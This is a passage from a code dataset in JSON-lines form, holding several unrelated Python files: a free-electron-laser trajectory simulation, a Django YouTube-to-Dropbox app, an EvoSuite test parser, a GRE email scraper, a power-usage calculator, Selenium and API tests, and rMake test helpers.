r)) / 16)))]\n # Initial conditions\n x0 = -au / (lorentz_factor * k * beta)\n vx0 = -(q * B) / (lorentz_factor * m * k) * (alpha / 4)\n z0 = ((alpha * au ** 2) / (12 * (lorentz_factor ** 2) * beta * k))\n #Half Modulation Case\n elif n==2:\n def f2(t, y): # z direction equations\n # [z' = u]\n r = k * beta * c * t\n\n d1 = (c * au ** 2) / (4 * lorentz_factor ** 2)\n d2 = np.cos(2 * r)\n d3 = alpha * np.sin(2 * r)\n d4 = (alpha / 3) * np.sin(4 * r)\n d5 = (alpha / 3) * np.sin(2 * r)\n d6 = alpha * np.cos(r)\n d7 = (alpha / 3) * np.cos(3 * r)\n\n return [beta * c + d1 * (d2 + d3 + d4 - d5 - d6 - d7)]\n # Initial conditions\n x0 = -au / (lorentz_factor * k * beta)\n vx0 = -(2 * alpha * q * B) / (3 * lorentz_factor * m * k)\n z0 = -(5 * alpha * au ** 2) / (96 * k * beta * lorentz_factor ** 2)\n #General Modulation Case\n else:\n print(n)\n def f2(t, y): # z direction equations\n # [z' = u]\n r = k * beta * c * t\n\n d1 = (c * au ** 2) / (4 * lorentz_factor ** 2)\n d2 = np.cos(2 * r)\n d3 = (alpha / (n + 1)) * (np.sin((n + 2) * r) + np.sin(n * r))\n d4 = (alpha / (n - 1)) * (-np.sin((n - 2) * r) + np.sin(n * r))\n d5 = ((alpha / (2 * (n + 1))) ** 2) * np.cos(2 * (n + 1) * r)\n d6 = ((alpha ** 2) / (2 * (n + 1) * (n - 1))) * (np.cos(2 * r) + np.cos(2 * n * r))\n d7 = ((alpha / (2 * (n - 1))) ** 2) * np.cos(2 * (n - 1) * r)\n return [beta * c + d1 * (d2 + d3 + d4 - d5 - d6 - d7)]\n x0 = -au / (lorentz_factor * k * beta)\n vx0 = (-(alpha * q * B) / (2 * lorentz_factor * m * k)) * ((1 / (n + 1)) + (1 / (n - 1)))\n z0 = ((alpha * au ** 2) / (2 * k * beta * lorentz_factor ** 2)) * ((4 - n) / ((n + 2) * (n - 1) * (n - 2)))\nelse:\n print('n must have a value greater than or equal to 1')\n sys.exit()\n\n#RK45 method plus plotting\ndef main():\n tTime = 1e-9 # total time\n stepsize = tTime / 5000 # number of steps\n\n ##solutions to equations using RK45 method with initial condidtion, timeframe and step size.\n x_sol = solve_ivp(f1, t_span=[0, tTime], y0=[x0, vx0], method='RK45', max_step=stepsize, atol=1, rtol=1)\n z_sol = solve_ivp(f2, t_span=[0, tTime], y0=[z0], method='RK45', max_step=stepsize, atol=1, rtol=1)\n\n\n t1 = z_sol.t # data for time, same for x and z\n x = x_sol.y[0] # data for x\n vx = x_sol.y[1] # data for vx\n z = z_sol.y[0] # data for z\n vz = np.squeeze(f2(t1, 0)) # data for vz\n plt.plot(t1, vz)\n print(max(vz))\n print(max(vx))\n plt.show()\n plt.close()\n scale_x = x / 9.385366059602438e-07 # scaled x\n scale_time1 = t1 / 1e-9 # scaled time\n scale_z = 3.459093113508857e-11\n\n gs = gridspec.GridSpec(4, 2)\n fig = plt.figure(figsize=(10, 5))\n plt.suptitle(r'$\\lambda_m = \\lambda_u /$'+str(n))\n # plot x(t) against time\n plt.subplot(gs[0, :], xlabel='t', ylabel='x(t)')\n plt.plot(scale_time1, scale_x, 'red')\n # plot z(t) minus beta*c*t against time\n plt.subplot(gs[1, :], xlabel='t', ylabel=r'$z(t)-\\beta ct$')\n plt.plot(scale_time1, ((z - (beta * c * t1)) / scale_z), 'blue')\n # plot z(t) minus beta*c*t against x(t)\n plt.subplot(gs[2:, :], xlabel=r'$z(t)-\\beta ct$', ylabel='x(t)')\n plt.plot((z - (beta * c * t1)) / scale_z, scale_x, 'purple')\n matplotlib.pyplot.subplots_adjust(wspace=.75, hspace=.75)\n plt.show()\n\n gs = gridspec.GridSpec(3, 2)\n plt.figure(figsize=(5, 5))\n plt.suptitle(r'$\\lambda_m = \\lambda_u /$' + str(n))\n # calculation of total speed\n v = ((vx ** 2) + (vz ** 2)) ** .5\n\n # plot vx(t) against scaled time\n plt.subplot(gs[0, :], xlabel='t', ylabel=r'$\\beta_x$(t)')\n plt.plot(scale_time1, vx/88393.76523535939 , 'red')\n\n # plot vz(t) against scaled time\n plt.subplot(gs[1, :], xlabel='t', ylabel=r'$\\beta_z$(t)')\n plt.plot(scale_time1, vz/299792404.5572332 , 'blue')\n c2 = (299792404.5572332**2+88393.76523535939**2)**0.5\n # plot v(t) against scaled time\n plt.subplot(gs[2, :], xlabel='t', ylabel=r'$\\beta$(t)')\n plt.plot(scale_time1, v/c , 'purple')\n\n matplotlib.pyplot.subplots_adjust(wspace=.75, hspace=.75)\n plt.show()\n plt.close()\n print(str(round((time.time() - start_time), 4)) + 's')\n\nmain()\n\n\n\n\n\n\n","repo_name":"john-anderson97/ShortModFELs","sub_path":"Modulation_Numerical.py","file_name":"Modulation_Numerical.py","file_ext":"py","file_size_in_byte":5936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"29294925675","text":"from django.http import HttpResponse, HttpResponseRedirect, JsonResponse\nfrom django.shortcuts import render\nfrom django.urls import reverse\nfrom background_task import background\nfrom django.core import serializers\nfrom django.contrib import messages\n\nfrom tubify.utils.tube_search import Tube_search\nfrom tubify.utils.drop_to_box import Drop_to_Box\nfrom tubify.utils.tube_dl import Tubedl\n\nfrom .models import Tubify\n\n#global list\ninfo_list = None\n\n# Create your views here.\n\n\ndef home(request):\n ts = Tube_search(\"jojo all ending\", 10)\n global info_list\n info_list = ts.get_info()\n context = {\n \"info_list\": info_list\n }\n return render(request, 'tubify/home.html', context)\n\n\ndef search(request):\n global search_qry\n search_qry = request.POST.get('search_query', False)\n ts = Tube_search(search_qry, 20)\n global info_list\n info_list = ts.get_info()\n context = {\n \"info_list\": info_list\n }\n return render(request, 'tubify/home.html', context)\n\n@background(queue='my-queue')\ndef yt_to_dbx(id):\n d_url = f'https://www.youtube.com/watch?v={id}'\n\n # tube dl object\n td = Tubedl()\n\n # dropbox path to save the files\n dbx_path = '/'\n dbx = Drop_to_Box('config.cfg')\n\n td.get_audio(d_url, dbx, dbx_path)\n\n\ndef get_music(request, id):\n yt_to_dbx(id)\n \n for item in info_list:\n if item.get('v_url_suffix', None) == id:\n id = item.get('v_id', None)\n title = item.get('v_title', None)\n views = item.get('v_views', None)\n thumb = item.get('v_thumb', None)\n url_suffix = item.get('v_url_suffix', None)\n t = Tubify(v_id=id, v_title=title, v_views = views, v_thumb=thumb, v_url_suffix=url_suffix)\n t.save()\n\n context = {\n \"info_list\": info_list\n }\n messages.info(request, \"request added to queue!!!\")\n return render(request, 'tubify/home.html', context)\n \n","repo_name":"manimaran990/tubify_django","sub_path":"tubify/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"30864215189","text":"fruits = ['사과','배','배','감','수박','귤','딸기','사과','배','수박']\n\ndef fruits_count(name):\n count = 0\n for i in fruits:\n if i == name:\n count += 1\n return count\nsubak_count = fruits_count(\"수박\")\nprint(subak_count)","repo_name":"Seyeong-Kim/sparta","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"2502778374","text":"#pdb can be invoked from command line also by executing like this:\n# python -m pdb pdbusage.py\n\nimport os\n\ndef get_path(filename):\n \"\"\"Return file's path or empty string if no path\"\"\"\n head, tail = os.path.split(filename)\n import pdb\n pdb.set_trace()\n return head\n\nfilename = __file__\nprint (f'path = {get_path(filename)}')\n\n","repo_name":"umeshw77/pyprojects","sub_path":"pdbusage.py","file_name":"pdbusage.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"192555429","text":"from tools import Requests\n\n\nrq = Requests.Requests()\n\n\ndef test_neg_tc1_product_empty_payload():\n \"\"\"\n\n :return:\n \"\"\"\n print(\"Running Test Case 1: Testing 'products' endpoint, with payload empty json\")\n\n input_data = {}\n info = rq.post('products', input_data)\n\n print(info)\n\n\ntest_neg_tc1_product_empty_payload()","repo_name":"MilaPaz/API-TestAutomation","sub_path":"testcases/products_negative_test.py","file_name":"products_negative_test.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"4197155656","text":"import re\n\nEVOSUITE_PATTERNS = {\n \"tc_no\": r\"//Test case number: (\\d+)\",\n \"line_goal\": r\"\\* Goal \\d+\\. ([^:]+): Line (\\d+)\",\n \"cov_end\": \"*/\",\n}\n\ndef test_path_to_class_name(test_path):\n return test_path[:-5].replace('/', '.')\n\ndef class_name_to_test_path(class_name):\n return class_name.replace('.', '/')+'.java'\n\ndef parse(path):\n coverages = {}\n tests = {}\n with open(path, \"r\") as test_file:\n tc_no = None\n cov_read = False\n for l in test_file:\n stripped = l.strip()\n m = re.search(EVOSUITE_PATTERNS[\"tc_no\"], stripped)\n if m:\n tc_no = m.group(1)\n coverages[tc_no] = []\n tests[tc_no] = []\n cov_read = True\n continue\n if not cov_read:\n if tc_no and l.rstrip() != \"}\":\n tests[tc_no].append(l)\n continue\n if stripped == EVOSUITE_PATTERNS[\"cov_end\"]:\n cov_read = False\n continue\n m = re.search(EVOSUITE_PATTERNS[\"line_goal\"], stripped)\n if m:\n coverages[tc_no].append((m.group(1), m.group(2)))\n for t in tests:\n tests[t] = \"\".join(tests[t]).strip()\n return coverages, tests\n\ndef carve(path, test_numbers):\n tests = []\n with open(path, \"r\") as test_file:\n tc_no = None\n test_remove = False\n for l in test_file:\n stripped = l.strip()\n m = re.search(EVOSUITE_PATTERNS[\"tc_no\"], stripped)\n if m:\n tc_no = m.group(1)\n if tc_no not in map(str, test_numbers):\n test_remove = True\n else:\n test_remove = False\n if test_remove and l.rstrip() != \"}\":\n continue\n tests.append(l)\n return \"\".join(tests)\n\ndef get_test_by_line(path, line):\n with open(path, \"r\") as test_file:\n tc_no = None\n line_counter = 0\n for l in test_file:\n line_counter += 1\n stripped = l.strip()\n m = re.search(EVOSUITE_PATTERNS[\"tc_no\"], stripped)\n if m:\n tc_no = m.group(1)\n if line_counter == line:\n return tc_no\n return None\n","repo_name":"coinse/QFiD","sub_path":"resources/d4j_expr/utils/evosuite.py","file_name":"evosuite.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"8950302179","text":"import re as reg\r\n\r\nstring = \"My Name is Yasser Saidi\"\r\ntry:\r\n check = reg.search('Yasser',string)\r\n check2 = reg.compile('yasser')\r\n print(check.group())\r\n print(check2.findall(string))\r\nexcept AttributeError as err:\r\n print(\"Dosn\\'t exit\")\r\n\r\n","repo_name":"yassersaidi/Python-ZTM","sub_path":"regExpres/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"} +{"seq_id":"70999334702","text":"# https://leetcode.com/problems/maximum-number-of-coins-you-can-get/description/\n\n\nclass Solution(object):\n def maxCoins(self, piles):\n piles.sort()\n ans = 0\n n = len(piles)\n\n for i in range(n // 3, n, 2):\n ans += piles[i]\n\n return ans","repo_name":"mihanik575/LeetCode","sub_path":"1561. Maximum Number of Coins You Can Get.py","file_name":"1561. Maximum Number of Coins You Can Get.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"14497041916","text":"import re\n\n# find the numbers between brackets -> [ ]\ntxt = 'agda [12345] [12342]'\nregex = r'\\[(\\d+)\\]'\n\n# Return first match\nresult = re.search(regex,txt)\nresult[1] # 12345\n\n# Return all matches\nresult = re.findall(regex,txt)\nresult[0] # 12345\nresult[1] # 12342\n\n\n","repo_name":"gianandr4/Notes","sub_path":"regex.py","file_name":"regex.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"29218346757","text":"from django.shortcuts import render,get_object_or_404\nfrom .models import Measurement\nfrom .forms import MeasurementForm\n# Create your views here.\n\n\ndef index(request):\n obj = get_object_or_404(Measurement,id=1)\n if request.method == 'POST':\n form = MeasurementForm(request.POST or None)\n if form.is_valid():\n instance = form.save(commit=False)\n instance.destination = form.cleaned_data.get('destination')\n instance.location = 'Dehli'\n instance.distance = 70.1\n instance.save() \n context = {'obj':obj,'form':MeasurementForm()}\n return render(request,\"index.html\",context)","repo_name":"GK-SVG/GeoDjango","sub_path":"myapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"8471923343","text":"\"\"\"\nThis program is to calculate total power consumption\nof my family's hobby devices\nwhich are doubtfully high power consumption.\n\nBecause I don't understand why my electricity bill is so high.\n\"\"\"\n\n\"\"\"----- class part -----\"\"\"\n\n\nclass Device:\n\n def __init__(self, name, power, cnt, use_time_a_day):\n \"\"\"\n :param name: 기기 이름\n :param power: 전력량(w)\n :param cnt: 갯수(개)\n :param use_time_a_day: 하루 사용 시간(h)\n \"\"\"\n\n self.name: str = name\n self.power: float = power\n self.cnt: int = cnt\n self.use_time_a_day: int = use_time_a_day\n\n\nclass Electrics(Device):\n\n def __init__(self, name, power, cnt, use_time_a_day):\n super().__init__(name, power, cnt, use_time_a_day)\n\n # calculate daily power (unit: kWh)\n @property\n def daily_power(self) -> float:\n return self.power * self.cnt * self.use_time_a_day / 1000\n\n # Calculate total power (unit: KWh)\n def total_power(self, time_case: str) -> float:\n if time_case == 'a_day':\n return self.daily_power\n elif time_case == 'a_month':\n return self.daily_power * 30\n elif time_case == 'a_year':\n return self.daily_power * 365\n else:\n raise ValueError('time_case should be a_day, a_month, a_year')\n\n\n\"\"\"----- data part -----\"\"\"\n# data: list = [name, power, cnt, use_time_a_day]\ndata_lamp_1 = ['PLED', 20, 4, 12]\ndata_lamp_2 = ['Philips', 16, 4, 12]\ndata_lamp_3 = ['FarmTec', 12, 1, 12]\ndata_lamp_4 = ['LED_BAR', 7.2, 10, 12]\ndata_nas = ['Synology', 25, 1, 24]\n\n# data_list\ndata_list: list = [data_lamp_1, data_lamp_2, data_lamp_3, data_lamp_4, data_nas]\n\n\"\"\"----- main part -----\"\"\"\nif __name__ == '__main__':\n # Make a list of devices objects from data_list\n devices: list[Electrics] = [Electrics(*data) for data in data_list]\n\n # Calculate total power (unit: kWh)\n total_power_a_day: float = 0\n total_power_a_month: float = 0\n total_power_a_year: float = 0\n\n for device in devices:\n total_power_a_day += device.total_power('a_day')\n total_power_a_month += device.total_power('a_month')\n total_power_a_year += device.total_power('a_year')\n\n print(f'Total power a day: {total_power_a_day:.3f} kWh')\n print(f'Total power a month: {total_power_a_month:.3f} kWh')\n print(f'Total power a year: {total_power_a_year:.3f} kWh')\n","repo_name":"dpcalfola/toy_projects","sub_path":"power_consumption/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"16851375646","text":"import matplotlib.pyplot as plt\nimport os\nimport pandas as pd\nimport numpy as np\nimport geopandas as gpd\n\n# © Robin Kratschmayr\nclass Evaluator(object):\n def __init__(self,base_folder, run_folder, model, model_params):\n self.plot_folder = os.path.join(run_folder, 'plots')\n self.model = model\n self.model_params = model_params\n self.base_folder = base_folder\n\n def evaluate_model(self, prediction, truth):\n #creating the accuracy and truth, error df\n plt.rcParams[\"figure.figsize\"] = (14,8)\n plt.rcParams['axes.facecolor'] = '#f1f2f1'\n error = pd.DataFrame(prediction,columns=['result'])\n error['truth'] = truth.to_numpy()\n error['result'] = error['result'].astype('int')\n error['accuracy'] = np.absolute((error.result/error.truth)-1)\n error['accuracy_2'] = error['accuracy']\n rmse = np.sqrt(np.sum(np.square(truth - prediction))/truth.shape[0])\n print('#########################################################################')\n print(f'The best {self.model} with the parameters {self.model_params} has reached a RMSE of: {rmse} on the test set.')\n print('#########################################################################')\n #some pandas magic to prepare a df for the accuracy plot, could be done easier and more beautiful\n bins_left = [0,0.025,0.05,0.075,0.1,0.125,0.15,0.175,0.2,0.25,0.3,0.35,0.4,0.45,0.5,0.55,0.6,0.65,0.7,0.75,0.8,0.9,1,1.1,1.2,1.3,1.4,1.5,1.6,1.7,1.8,1.9,2]\n bins_save = [0.025,0.05,0.075,0.1,0.125,0.15,0.175,0.2,0.25,0.3,0.35,0.4,0.45,0.5,0.55,0.6,0.65,0.7,0.75,0.8,0.9,1,1.1,1.2,1.3,1.4,1.5,1.6,1.7,1.8,1.9,2,8]\n bins_right = [x - 0.0001 for x in bins_save]\n IntervallIndex = pd.IntervalIndex.from_arrays(bins_left,bins_right)\n error_binned = pd.cut(error.accuracy,bins=IntervallIndex)\n error_grouped = error.groupby([error_binned]).count()\n accuracy_plot_data = error_grouped.drop(columns=['result','accuracy','accuracy_2']).reset_index()\n accuracy_plot_data['x_axis'] = accuracy_plot_data.accuracy.apply(lambda x: (\"{:3.2f}% - {:3.2f}%\".format(x.left*100,x.right*100)))\n\n #create the accuarcy levels\n acc_levels = [0.025,0.05,0.075,0.1,0.125,0.15,0.175,0.2,0.25,0.3,0.35,0.4,0.45,0.5,0.6,0.7,0.8,0.9,1]\n treshold_accuracy_data_list = []\n for acc_level in acc_levels:\n treshold_accuracy_data_list.append(error[error.accuracy < acc_level].shape[0] / error.shape[0])\n acc_level_df = pd.DataFrame(acc_levels, columns=['treshold'])\n acc_level_df['accuracy'] = treshold_accuracy_data_list\n acc_level_df['x_axis'] = acc_level_df.treshold.apply(lambda x: (\"{:3.2f}%\".format(x*100)))\n \n #create new figure\n evaluation = plt.figure(self.model)\n x = accuracy_plot_data.truth.reset_index().index.to_list()\n\n #creating the axes to assign the plots to\n ax1 = plt.subplot(2,2,1)\n ax2 = plt.subplot(2,2,2)\n ax3 = plt.subplot(2,1,2)\n\n # plot accuracy level plot on axis 1\n y1 = acc_level_df['accuracy'].to_list()\n x3 = acc_level_df['accuracy'].reset_index().index.to_list()\n ax1.bar(x3,y1,color='#656665')\n ax1.set_xlabel('Treshold')\n ax1.set_ylabel('Accuracy')\n xtickslabels = acc_level_df['x_axis'].to_list()\n ticks = acc_level_df['accuracy'].reset_index().index.to_list()\n ax1.set_xticks(ticks)\n ax1.set_xticklabels(xtickslabels, rotation=90)\n \n\n # plot scatterplot on axis 2\n ax2.scatter(prediction, truth, alpha=0.2)\n ax2.set_xlabel('Predictions')\n ax2.set_ylabel('True Values')\n lims = [0, 3000000]\n ax2.set_xlim(lims)\n ax2.set_ylim(lims)\n ax2.plot(lims, lims)\n\n #plot accuracy plot on axis 3\n y1 = accuracy_plot_data.truth.to_list()\n ax3.bar(x,y1,color='#656665')\n ax3.set_xlabel('accuracy')\n ax3.set_ylabel('counted')\n xtickslabels = accuracy_plot_data.x_axis.tolist()\n ticks = accuracy_plot_data.reset_index().index.tolist()\n ax3.set_xticks(ticks)\n ax3.set_xticklabels(xtickslabels, rotation=75)\n\n #add some figure metadata and plot subtitles and save plot to disk\n ax3.set_title(\"Model accuracy plot\")\n ax2.set_title(\"Predictions vs. reality plot\")\n ax1.set_title(\"Model accuracy on certain treshold\")\n text = self.model+\" \"+ str(self.model_params)\n text2 = 'Mean squared error: ' + str(rmse)\n ax1.text(-2, 1.38, text, bbox={'facecolor': 'red', 'alpha': 0.3, 'pad': 10})\n ax1.text(-2, 1.2, text2, bbox={'facecolor': 'red', 'alpha': 0.3, 'pad': 10})\n plt.subplots_adjust(wspace=0.15, hspace=0.4)\n plot_name = self.model + \"_best.png\"\n evaluation.savefig(os.path.join(self.plot_folder,plot_name),bbox_inches='tight')\n\n return 'evaluated'\n\n def evaluate_on_map(self, result, truth, test_set_map,accuracy_level):\n #calculate prediction accuracy and group it per municipality\n error = pd.DataFrame(result,columns=['result'])\n error['truth'] = truth.to_numpy()\n error['result'] = error['result'].astype('int')\n error['accuracy'] = np.absolute((error.result/error.truth)-1)\n error['GM_Code'] = test_set_map[['GM2020']].reset_index().drop(columns='index')\n error['treshhold_5'] = error.accuracy.apply(lambda x: 1 if x <=0.05 else 0)\n error['treshhold_10'] = error.accuracy.apply(lambda x: 1 if x <=0.1 else 0)\n number_treshhold = error.groupby('GM_Code').sum().drop(columns=['result','truth','accuracy']).reset_index()\n number_obs = error.groupby('GM_Code').count().drop(columns=['result','accuracy','treshhold_5','treshhold_10']).reset_index()\n geo_df = number_treshhold.merge(number_obs, how=\"inner\", on=\"GM_Code\")\n geo_df['accuracy_5'] = geo_df.treshhold_5 / geo_df.truth\n geo_df['accuracy_10'] = geo_df.treshhold_10 / geo_df.truth\n geo_df['GM_Code'] = geo_df['GM_Code'].astype('int')\n\n #adding geometrical shapes for each gemeente\n gemeente_boundaries = gpd.read_file(os.path.join(self.base_folder,'data','geometrical','Gemeentegrenzen.gml'))\n gemeente_boundaries['Code'] = gemeente_boundaries['Code'].astype('int')\n final_df = gemeente_boundaries.merge(geo_df, how=\"left\", left_on=\"Code\", right_on=\"GM_Code\") \n \n #plot accuracy per gemeente as cloropleth and safe it\n p = final_df.plot(column=accuracy_level, figsize = (12,10),legend =True, cmap = 'RdYlGn', vmin=0,vmax=1)\n p.axis('off')\n p.set_title('Accuracy per gemeente with treshhold: {}'.format(accuracy_level))\n p.get_figure().savefig(os.path.join(self.plot_folder,'{}_geo_map_{}.png'.format(self.model,accuracy_level)))\n return 'evaluated'\n ","repo_name":"Rokra1995/ML-houseprice-pipeline","sub_path":"funda/evaluate_model.py","file_name":"evaluate_model.py","file_ext":"py","file_size_in_byte":6885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"73011459503","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 21 09:01:21 2021\n\n@author: bijoy\n\n@description: This script imports emails as an .mbox file, extracts text data with beautiful soup, \nand outputs it into an Excel file.\n\n\"\"\"\n\nimport mailbox\nimport bs4\nimport email\nimport unicodedata\nimport pandas as pd\nimport datetime\nimport html\n\n### Import Mbox Export from GMail\nmb = mailbox.mbox('GRE Question of the Day.mbox')\n\n### Lists to be populated with desired elements\ndate_sent = []\nsubject = []\nlinks = []\nimage_links = []\nquestion = []\nansA = []\nansB = []\nansC = []\nansD = []\nansE = []\n\n### Created an iterable grouping of answer choice lists\nchoices = [ansA, ansB, ansC, ansD, ansE]\n\n### Create list of image classes for readability\nimage_classes = ['content_image', 'contentImage', 'contentImage latex']\n\ndef get_html(message):\n msg = email.message_from_string(str(message))\n for part in msg.walk():\n if part.get_content_type() == 'text/html':\n #Parse base64 Emails\n if part['Content-Transfer-Encoding'] == 'base64':\n base64msg = email.message_from_string(message.as_bytes().decode(encoding='UTF-8'))\n for base64part in base64msg.walk():\n if base64part.get_content_type() == 'text/html':\n return base64part.get_payload()\n else:\n #Parse regular Emails\n return part.get_payload()\n\n\n### Iterate through all mbox objects\nfor mail in mb:\n \n ### Retrieve Date\n date_obj = datetime.datetime.strptime(mail['Date'], '%a, %d %b %Y %H:%M:%S %z')\n date_sent.append(date_obj.strftime('%m/%d/%Y'))\n \n ### Retrieve Subject\n subject.append(mail['Subject'])\n \n ### Create soup object\n soup = bs4.BeautifulSoup(get_html(mail), 'html.parser')\n \n ### Get Image Links\n if soup.findAll('img', {'class': image_classes}):\n temp_list = [image['src'] for image in soup.findAll('img', {'class': image_classes})]\n image_links.append(temp_list) \n else: \n image_links.append(\"No Image\") \n \n ### Get Question\n if soup.findAll('h4', class_='subheadline'):\n subheading = soup.find('h4', class_='subheadline', string='ANSWER SELECTION')\n question.append(unicodedata.normalize(\"NFKD\", subheading.find_previous_sibling('p').text))\n \n ### Get Answer Choices\n if soup.findAll('h4', class_='subheadline', string='ANSWER SELECTION'):\n subheading = soup.find('h4', class_='subheadline', string='ANSWER SELECTION')\n \n ### Handles questions with only 4 choices\n if len(subheading.find_all_next('p')) == 4:\n ansE.append(\"No Value\")\n \n for i, word in zip(choices, subheading.find_all_next('p')):\n i.append(unicodedata.normalize(\"NFKD\", html.unescape(word.text).replace('\\n', '')))\n\n### Populate DateFrame \nquestions_df = pd.DataFrame(data={'Date': date_sent, 'Email Subject': subject, 'Image Links': image_links, \n 'Question': question, 'Choice A': ansA, 'Choice B': ansB, 'Choice C': ansC,\n 'Choice D': ansD, 'ChoiceE': ansE})\n\n### Remove Duplicate Questions\nquestions_df.drop_duplicates(subset='Question', keep=\"last\", inplace=True)\n\n### Export to Excel\nquestions_df.to_excel('GRE_QuestionsDatabase.xlsx')\n","repo_name":"bijoyt3/GRE_QuestionRepository","sub_path":"GRE_QuestionRepository.py","file_name":"GRE_QuestionRepository.py","file_ext":"py","file_size_in_byte":3340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"70541239662","text":"\n# import only system from os\nfrom os import system, name\n# import sleep to show output for some time period\nfrom time import sleep\n#Import logo\nfrom art import logo\nprint(logo)\n\n# define our clear function\ndef clear():\n # for windows\n if name == 'nt':\n _ = system('cls')\n # for mac and linux(here, os.name is 'posix')\n else:\n _ = system('clear')\n# sleep for 2 seconds after printing output\nsleep(2)\n\n\nbids= {}\nbidding_finished= False\n\ndef find_highest_bidder(bidding_record):\n highest_bid= 0\n for bidder in bidding_record:\n bid_amount= bidding_record[bidder]\n if bid_amount > highest_bid:\n highest_bid= bid_amount\n winner = bidder\n print(f\"The winner is {winner} with a bid of £{highest_bid}.\")\n\n\nwhile not bidding_finished:\n user_name = input(\"What is your name?: \") \n user_bid = int(input(\"What is your bid ?:£ \"))\n bids[user_name]=user_bid\n should_continue= input(\"Are there any more bidders ? Type 'yes or 'no'.\\n\")\n if should_continue == 'n':\n bidding_finished=True\n find_highest_bidder(bids)\n elif should_continue == \"y\":\n clear()\n \n","repo_name":"geraldc118/secret_auction","sub_path":"Secret_Auction/secret_Auction.py","file_name":"secret_Auction.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"7100123037","text":"import pytest\nimport requests\nimport allure\n\nfrom selenium_test.settings.setting_browser import SettingBrowser\n\n\nclass TestExample(SettingBrowser):\n\n @pytest.mark.smoke\n def test_go_to_exist(self):\n driver = self.get_driver()\n driver.fullscreen_window()\n driver.get('https://exist.ua/')\n driver.close()\n\n @pytest.mark.api\n def test_exist(self):\n with allure.step('Request'):\n assert requests.get('https://exist.ua/').status_code == 200\n\n @pytest.mark.api\n @allure.feature('check Api')\n @allure.story('status code')\n def test_ukrnet(self):\n with allure.step('Request'):\n assert requests.get('https://www.ukr.net/').status_code == 200\n\n @pytest.mark.api\n @allure.feature('check Api')\n @allure.story('status code')\n def test_invalid(self):\n r = False\n assert r","repo_name":"lmi2002/jenkins_selenium","sub_path":"selenium_test/tests/test_exist.py","file_name":"test_exist.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"25727119413","text":"import copy\n\nfrom conary.deps.deps import parseFlavor\nfrom conary import conaryclient\nfrom conary import versions\n\nfrom rmake.cmdline import buildcmd\nfrom rmake.lib import recipeutil\n\ndef addBuildReq(self):\n buildReqRun = self.addComponent('buildreq:runtime', '1', ['/buildreq'])\n buildReq = self.addCollection('buildreq', '1', [':runtime'])\n return buildReq, buildReqRun\n\ndef addTestCase1(self):\n buildReq, buildReqRun = addBuildReq(self)\n trv = self.addComponent('testcase:source', '1', '',\n [('testcase.recipe', workingRecipe % {'root' : self.rootDir})])\n\n v = trv.getVersion().copy()\n v = v.createShadow(versions.Label('rmakehost@local:linux'))\n v.incrementBuildCount()\n builtComp = self.addComponent('testcase:runtime', v, 'ssl')\n builtColl = self.addCollection('testcase', v, [':runtime'], \n buildReqs=[buildReqRun, buildReq],\n defaultFlavor='ssl')\n return trv, builtComp, builtColl, buildReq\n\ndef addTestCase2(self):\n trv = self.addComponent('testcase2:source', '1', '',\n [('testcase2.recipe', workingRecipe2 % {'name' : 'testcase2'})])\n v = trv.getVersion().copy()\n v = v.createShadow(versions.Label('rmakehost@local:linux'))\n v.incrementBuildCount()\n\n builtComp = self.addComponent('testcase2:runtime', v, filePrimer=3)\n builtColl = self.addCollection('testcase2', v, [':runtime'])\n return trv, builtComp, builtColl\n\ndef addTestCase2Branch2(self, fail=False):\n trv = self.addComponent('testcase2:source', ':branch2/1', '',\n [('testcase2.recipe', workingRecipe2 % {'name' : 'testcase2'})])\n v = trv.getVersion().copy()\n v = v.createShadow(versions.Label('rmakehost@local:linux'))\n v.incrementBuildCount()\n\n if not fail:\n builtComp = self.addComponent('testcase2:runtime', v, filePrimer=3)\n builtColl = self.addCollection('testcase2', v, [':runtime'])\n return trv, builtComp, builtColl\n return trv\n\ndef addTestCase3(self, version='1'):\n trv = self.addComponent('testcase3:source', version, '',\n [('testcase3.recipe', workingRecipe2 % {'name' : 'testcase3'})])\n\n v = trv.getVersion().copy()\n v = v.createShadow(versions.Label('rmakehost@local:linux'))\n v.incrementBuildCount()\n builtComp = self.addComponent('testcase3:runtime', v)\n builtComp2 = self.addComponent('testcase3-pkg:runtime', v, \n sourceName='testcase3:source')\n builtColl = self.addCollection('testcase3', v, [':runtime'])\n builtColl2 = self.addCollection('testcase3-pkg', v, [':runtime'],\n sourceName='testcase3:source')\n return trv, 